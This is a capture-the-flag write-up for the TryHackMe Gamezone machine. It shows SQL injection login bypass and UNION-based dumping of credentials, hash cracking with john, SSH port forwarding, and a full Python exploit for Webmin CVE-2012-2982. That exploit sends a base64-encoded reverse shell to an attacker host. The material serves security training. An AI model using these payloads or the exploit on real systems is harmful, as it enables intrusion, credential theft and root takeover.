Gamezone (THM)

TryHackMeGamezone Write-Up

topics: SQL injection, hash cracking, hidden services, port forwarding, Linux privilege escalation, lateral movement, scripting, exploit development

  1. Plan

  2. Enumeration

  3. Local Privilege Escalation

  4. Root Privilege Escalation

new tools: sqlmap

tools: nmapAutomator, LinEnum, python, johntheripper, ssh

Plan

This machine is a greybox test and we are given some preliminary information. We'll have to bypass webserver authentication with an SQL injection, crack hashes, and SSH tunnel into another machine to root the box.

Enumeration

./autonmap.sh $ip Basic

We have port 22 (ssh) and 80 (http) open. We know that we'll have to obtain credentials via SQLi, lets navigate to the homepage.

SQL Injection

As this is a greybox test, we know that we'll have to achieve an initial foothold through an SQL Injection. In an effort to prepare for the OSCP Exam, I attempted this manually instead of using sqlmap. I used sqlmap following a manual analysis of the website to confirm the credentials. I used the following command for automatic exploitation

sqlmap -r post_request_headers.txt --dbms=mysql --dump >> sql.txt

We can use hydra to brute force generic SQLi authentication bypass payloads. Examine the POST request for the parameters and response message.

hydra -L genericSQLi.txt -p test $ip http-post-form "/index.php:username=^USER^&password=^PASS^&x=0&y=0:Incorrect login"

on other boxes the login directory (index.php, login.aspx, /portal etc) might redirect to another one (/auth, /login etc) so it's always vital to check the actual POST request in dev tools

There are 10 potential payloads we can use, I used the fourth one ' OR 1 -- - and was redirected to a new page, portal.php. We can test to see what type of SQL platform this is by using error based techniques.

We can see this is a MySQL server and it is vulnerable to an injection attack. The query capability is most likely using the user input to build a SELECT statement, meaning it is vulnerable to a union attack. The 'UNION' command permits an additional SELECT onto an existing SELECT statement. The amount of items selected has to match the original query, we can determine this by brute forcing with null values.

To determine the correct number of columns, we can input null values using ' UNION SELECT NULL,NULL -- // until we don't receive an error. At three null values I didn't receive an error, so we can assume there are three columns.

Replacing the null values with key database terms, we can start to extract which column aligns with which process, testing ' UNION SELECT NULL,user(),database() -- // yields

We can see we are the "root" user when making queries to the database. I found this site which lists potential payloads to return user data from the database. We can list the column name with ' union SELECT 'a',group_concat(column_name),'b' FROM information_schema.columns WHERE table_schema=database()-- //

We can see usernames and pwd syntax in the column names, we can list these values using ' UNION SELECT 'a',username,'b' FROM users-- // and ' UNION SELECT 'a',pwd,'b' FROM users-- //

These commands have returned a valid site user, agent47 with a hashed password. Checking with hash-identifier reveals this to be a SHA-256 hash that we can crack with john, save the hash to a text file and and use the rockyou password list.

john --wordlist=rockyou.txt hash --format=RAW-SHA256

This returns a password of videogamer124 for the account agent47. As SSH is open we should be able to login with these credentials, agent47:videogamer124.

' UNION SELECT NULL,NULL -- //
' UNION SELECT NULL,user(),database() -- //
' union SELECT 'a',group_concat(column_name),'b' FROM information_schema.columns WHERE table_schema=database()-- //
' UNION SELECT 'a',username,'b' FROM users-- //
' UNION SELECT 'a',pwd,'b' FROM users-- //

Local Privilege Escalation

We do not have sudo permissions on this machine, instead we can download an OS enumeration script from the attacking machine, in this case I used LinEnum.sh

Immediately, the listening TCP connections stand out. We know of two outgoing connections on ports 22 and 80, LinEnum reveals two additional ports.

Port 3306 on localhost, which we know is hosting the MySQL database server for the website, as well as port 10000 on localhost. This additional server is running on the main Ubuntu system, meaning we can perform lateral movement and port forward into the machine locally to view the contents. This article on port forwarding is a good visual representation of why it is necessary and how it works.

Further inspection of the OS enumeration script reveals a webmin server is running, this could be the server on port 10000.

Lateral Movement: Port Forwarding

We can create an SSH tunnel to port 10000 for localhost on our attacking machine and ssh into the victim with the compromised credentials.

ssh -L 10000:localhost:10000 agent47@10.10.209.137

Navigating to localhost:10000 exposes the Webmin server version 1.580

Root Privilege Escalation

Examining the platform and version with searchsploit reveals the following metasploit module.

In order to practice exploit development with my python skills, I converted this module's ruby code to python and obtained a root shell. I documented the code analysis in the room below:

#!/usr/bin/env python

#CVE-2012-2982 translated from ruby metasploit module (/webmin_show_cgi_exec.rb) 
#program outline:
	# - POST request with compromised creds to get the cookie
	# - exploit using invalid characters to get system shell
	# - fetches system shell as root
	# - sends shell through socket to listening attacker IP
#usage: 
	# - MUST BE SSH TUNNELED INTO MACHINE TO ACCESS localhost
	# - python gamezone.py 
	# - listen with nc -nlvp 4445 on attacker

import sys, os, subprocess, requests, socket, string, secrets, base64

lhost = "10.10.0.0" #attacker IP CHANGE, needs to be a string to convert in payload function
lport = "4445" # listening port, string to convert in payload function

#Login with compromised creds and print good status response
creds = {'page' : "%2F", 'user' : "agent47", 'pass' : "videogamer124"} #must be A dictionary, list of tuples, bytes or a file object
url = "http://localhost:10000/session_login.cgi"

r = requests.post(url, data=creds, cookies={"testing":"1"}, verify=False, allow_redirects=False) #send POST request to login 
#if status code 302 found and sid not empty 
if r.status_code == 302 and r.cookies["sid"] != None:
	print("[+] Login successful, executing payload (listen for shell)")
else:
	print("[-] Failed to login")

sid = r.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip() #replace the sid cookie newline character, split at = and store the second element (sid) of array, split at ; and stop at first element in array, strip remaining

#generates random characters and delivers the payload
def rand():
	alphaNum = string.ascii_letters + string.digits #custom alphanumeric string variable
	randChar = ''.join(secrets.choice(alphaNum) for i in range(5)) #generate 5 random alphanumeric characters
	return randChar

def payload():
    payload = "python -c \"import base64;exec(base64.b64decode('" #run python command to execute base64
    shell = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])" #open a socket, send it to the attacking host/port, open the shell
    shell = str.encode(shell) #encode the shellcode as a string
    encoded = base64.b64encode(shell) #encode the string with base64
    encoded = encoded.decode("utf-8") #decode that with utf-8 to be used as a string in the exploit URL
    closing = "'))\"" #close the payload
    payload += encoded #updated the payload to contain the encoded/decoded parameters
    payload += closing
    return payload

exp = "http://localhost:10000/file/show.cgi/bin/" + "%s|%s|" % (rand(), payload())

req = requests.post(exp, cookies={"sid":sid}, verify=False, allow_redirects=False) #send POST request to upload shellcode 

Last updated